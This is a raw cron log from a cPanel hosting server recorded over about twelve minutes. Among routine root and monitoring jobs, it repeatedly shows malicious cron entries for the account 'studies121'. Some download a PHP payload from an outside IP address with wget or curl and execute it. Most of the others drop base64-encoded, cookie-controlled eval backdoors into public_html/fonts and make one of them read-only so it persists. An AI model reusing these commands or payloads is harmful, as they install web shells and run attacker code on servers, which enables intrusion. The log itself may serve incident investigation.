Aug 31 01:47:01 ip-184-168-122-23 CROND[7820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:48:01 ip-184-168-122-23 CROND[7893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:48:01 ip-184-168-122-23 CROND[7895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:48:01 ip-184-168-122-23 CROND[7897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:48:01 ip-184-168-122-23 CROND[7896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:48:01 ip-184-168-122-23 CROND[7898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:49:01 ip-184-168-122-23 CROND[8086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:49:02 ip-184-168-122-23 CROND[8088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:49:02 ip-184-168-122-23 CROND[8090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:49:02 ip-184-168-122-23 CROND[8089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:49:02 ip-184-168-122-23 CROND[8091]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 01:50:01 ip-184-168-122-23 CROND[8198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:50:01 ip-184-168-122-23 CROND[8195]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:50:01 ip-184-168-122-23 CROND[8197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:50:01 ip-184-168-122-23 CROND[8196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:50:01 ip-184-168-122-23 CROND[8202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:50:01 ip-184-168-122-23 CROND[8201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:50:01 ip-184-168-122-23 CROND[8199]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 01:50:01 ip-184-168-122-23 CROND[8203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:50:01 ip-184-168-122-23 CROND[8200]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:51:01 ip-184-168-122-23 CROND[8313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:51:01 ip-184-168-122-23 CROND[8314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:51:01 ip-184-168-122-23 CROND[8316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:51:01 ip-184-168-122-23 CROND[8317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:52:01 ip-184-168-122-23 CROND[8413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:52:01 ip-184-168-122-23 CROND[8415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:52:01 ip-184-168-122-23 CROND[8417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:52:01 ip-184-168-122-23 CROND[8418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:52:01 ip-184-168-122-23 CROND[8419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:53:01 ip-184-168-122-23 CROND[8503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:53:01 ip-184-168-122-23 CROND[8505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:53:01 ip-184-168-122-23 CROND[8506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:53:01 ip-184-168-122-23 CROND[8507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:54:02 ip-184-168-122-23 CROND[8580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:54:02 ip-184-168-122-23 CROND[8583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:54:02 ip-184-168-122-23 CROND[8585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:54:02 ip-184-168-122-23 CROND[8586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:54:02 ip-184-168-122-23 CROND[8587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:55:01 ip-184-168-122-23 CROND[8772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:55:01 ip-184-168-122-23 CROND[8775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:55:01 ip-184-168-122-23 CROND[8776]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:55:01 ip-184-168-122-23 CROND[8777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:55:01 ip-184-168-122-23 CROND[8778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:55:01 ip-184-168-122-23 CROND[8774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:56:01 ip-184-168-122-23 CROND[8867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:56:01 ip-184-168-122-23 CROND[8869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:56:01 ip-184-168-122-23 CROND[8871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:56:01 ip-184-168-122-23 CROND[8870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:56:01 ip-184-168-122-23 CROND[8872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:57:01 ip-184-168-122-23 CROND[8949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:57:01 ip-184-168-122-23 CROND[8950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:57:01 ip-184-168-122-23 CROND[8952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:57:01 ip-184-168-122-23 CROND[8951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:58:01 ip-184-168-122-23 CROND[9038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:58:01 ip-184-168-122-23 CROND[9039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:58:01 ip-184-168-122-23 CROND[9042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:58:01 ip-184-168-122-23 CROND[9043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:58:01 ip-184-168-122-23 CROND[9044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:59:01 ip-184-168-122-23 CROND[9150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:59:01 ip-184-168-122-23 CROND[9152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:59:01 ip-184-168-122-23 CROND[9153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:59:01 ip-184-168-122-23 CROND[9154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
